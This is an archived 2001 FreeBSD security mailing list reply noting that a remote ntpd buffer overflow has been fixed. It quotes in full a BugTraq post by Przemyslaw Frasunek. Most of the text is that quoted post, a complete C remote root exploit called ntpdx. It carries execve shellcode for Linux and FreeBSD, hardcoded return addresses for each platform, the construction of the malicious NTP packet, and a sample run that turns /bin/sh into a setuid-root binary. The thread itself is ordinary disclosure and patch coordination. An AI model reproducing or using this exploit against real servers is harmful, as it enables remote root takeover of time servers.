From owner-freebsd-security Wed Apr 4 16:56:20 2001 Delivered-To: freebsd-security@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163]) by hub.freebsd.org (Postfix) with ESMTP id 3189237B446 for ; Wed, 4 Apr 2001 16:56:03 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.3/8.11.3) with ESMTP id f34Ntvt52567; Thu, 5 Apr 2001 01:55:57 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Michael Bryan Cc: freebsd-security@FreeBSD.ORG Subject: Re: Fwd: ntpd =< 4.0.99k remote buffer overflow In-Reply-To: Your message of "Wed, 04 Apr 2001 16:46:43 PDT." <3ACBB263.2804E9C2@ursine.com> Date: Thu, 05 Apr 2001 01:55:57 +0200 Message-ID: <52565.986428557@critter> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This has already been fixed in FreeBSD current & stable an hour ago or so. Poul-Henning In message <3ACBB263.2804E9C2@ursine.com>, Michael Bryan writes: > >Heads up. This just came across BugTraq, will likely affect FreeBSD. >As of 4.2-RELEASE, the ntpd that ships with FreeBSD is 4.0.99b. > > >-------- Original Message -------- >From: Przemyslaw Frasunek >Subject: ntpd =< 4.0.99k remote buffer overflow >To: BUGTRAQ@SECURITYFOCUS.COM > >/* ntpd remote root exploit / babcia padlina ltd. */ > >/* > * Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerable > * to remote buffer overflow attack. It occurs when building response for > * a query with large readvar argument. In almost all cases, ntpd is running > * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeserver. > * > * Althought it's a normal buffer overflow, exploiting it is much harder. > * Destination buffer is accidentally damaged, when attack is performed, so > * shellcode can't be larger than approx. 70 bytes. This proof of concept code > * uses small execve() shellcode to run /tmp/sh binary. Full remote attack > * is possible. > * > * NTP is stateless UDP based protocol, so all malicious queries can be > * spoofed. > * > * Example of use on generic RedHat 7.0 box: > * > * [venglin@cipsko venglin]$ cat dupa.c > * main() { setreuid(0,0); system("chmod 4755 /bin/sh"); } > * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c > * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c > * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost > * ntpdx v1.0 by venglin@freebsd.lublin.pl > * > * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh) > * > * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query > * [1] <- evil query (pkt = 512 | shell = 45) > * [2] <- null query (pkt = 12) > * Done. > * /tmp/sh was spawned. > * [venglin@cipsko venglin]$ ls -al /bin/bash > * -rwsr-xr-x 1 root root 512540 Aug 22 2000 /bin/bash > * > */ > >#include >#include >#include >#include >#include >#include >#include >#include >#include >#include > >#define NOP 0x90 >#define ADDRS 8 >#define PKTSIZ 512 > >static char usage[] = "usage: ntpdx [-o offset] <-t type> "; > >/* generic execve() shellcodes */ > >char lin_execve[] = > "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" > "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" > "\x80\xe8\xdc\xff\xff\xff/tmp/sh"; > >char bsd_execve[] = > "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" > "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" > "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01" > "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; > >struct platforms >{ > char *os; > char *version; > char *code; > long ret; > int align; > int shalign; > int port; >}; > >/* Platforms. Notice, that on FreeBSD shellcode must be placed in packet > * *after* RET address. This values will vary from platform to platform. > */ > >struct platforms targ[] = >{ > { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, > 0xbfbff8bc, 200, 220, 0 }, > > { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, > 0xbfbff540, 200, 220, 0 }, > > { "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve, > 0xbffff777, 240, 160, 0 }, > > { NULL, NULL, NULL, 0x0, 0, 0, 0 } >}; > >long getip(name) >char *name; >{ > struct hostent *hp; > long ip; > extern int h_errno; > > if ((ip = inet_addr(name)) < 0) > { > if (!(hp = gethostbyname(name))) > { > fprintf(stderr, "gethostbyname(): %s\n", > strerror(h_errno)); > exit(1); > } > memcpy(&ip, (hp->h_addr), 4); > } > > return ip; >} > >int doquery(host, ret, shellcode, align, shalign) >char *host, *shellcode; >long ret; >int align, shalign; >{ > /* tcpdump-based reverse engineering :)) */ > > char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61, > 0x74, 0x75, 0x6d, 0x3d }; > > char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00 }; > > char buf[PKTSIZ], *p; > long *ap; > int i; > > int sockfd; > struct sockaddr_in sa; > > bzero(&sa, sizeof(sa)); > > sa.sin_family = AF_INET; > sa.sin_port = htons(123); > sa.sin_addr.s_addr = getip(host); > > if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) > { > perror("socket"); > return -1; > } > > if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0) > { > perror("connect"); > close(sockfd); > return -1; > } > > memset(buf, NOP, PKTSIZ); > memcpy(buf, q2, sizeof(q2)); > > p = buf + align; > ap = (unsigned long *)p; > > for(i=0;i *ap++ = ret; > > p = (char *)ap; > > memcpy(buf+shalign, shellcode, strlen(shellcode)); > > if((write(sockfd, buf, PKTSIZ)) < 0) > { > perror("write"); > close(sockfd); > return -1; > } > > fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ, > strlen(shellcode)); > fflush(stderr); > > if ((write(sockfd, q3, sizeof(q3))) < 0) > { > perror("write"); > close(sockfd); > return -1; > } > > fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3)); > fflush(stderr); > > close(sockfd); > return 0; >} > >int main(argc, argv) >int argc; >char **argv; >{ > extern int optind, opterr; > extern char *optarg; > int ch, type, ofs, i; > long ret; > > opterr = ofs = 0; > type = -1; > > while ((ch = getopt(argc, argv, "t:o:")) != -1) > switch((char)ch) > { > case 't': > type = atoi(optarg); > break; > > case 'o': > ofs = atoi(optarg); > break; > > case '?': > default: > puts(usage); > exit(0); > > } > > argc -= optind; > argv += optind; > > fprintf(stderr, "ntpdx v1.0 by venglin@freebsd.lublin.pl\n\n"); > > if (type < 0) > { > fprintf(stderr, "Please select platform:\n"); > for (i=0;targ[i].os;i++) > { > fprintf(stderr, "\t-t %d : %s %s (%p)\n", i, > targ[i].os, targ[i].version, (void *)targ[i].ret); > } > > exit(0); > } > > fprintf(stderr, "Selected platform: %s with ntpd %s\n\n", > targ[type].os, targ[type].version); > > ret = targ[type].ret; > ret += ofs; > > if (argc != 1) > { > puts(usage); > exit(0); > } > > fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n", > (void *)ret, targ[type].align, targ[type].shalign); > > if (doquery(*argv, ret, targ[type].code, targ[type].align, > targ[type].shalign) < 0) > { > fprintf(stderr, "Failed.\n"); > exit(1); > } > > fprintf(stderr, "Done.\n"); > > if (!targ[type].port) > { > fprintf(stderr, "/tmp/sh was spawned.\n"); > exit(0); > } > > exit(0); >} > >-- >* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE * >* Inet: przemyslaw@frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF * > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message > -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message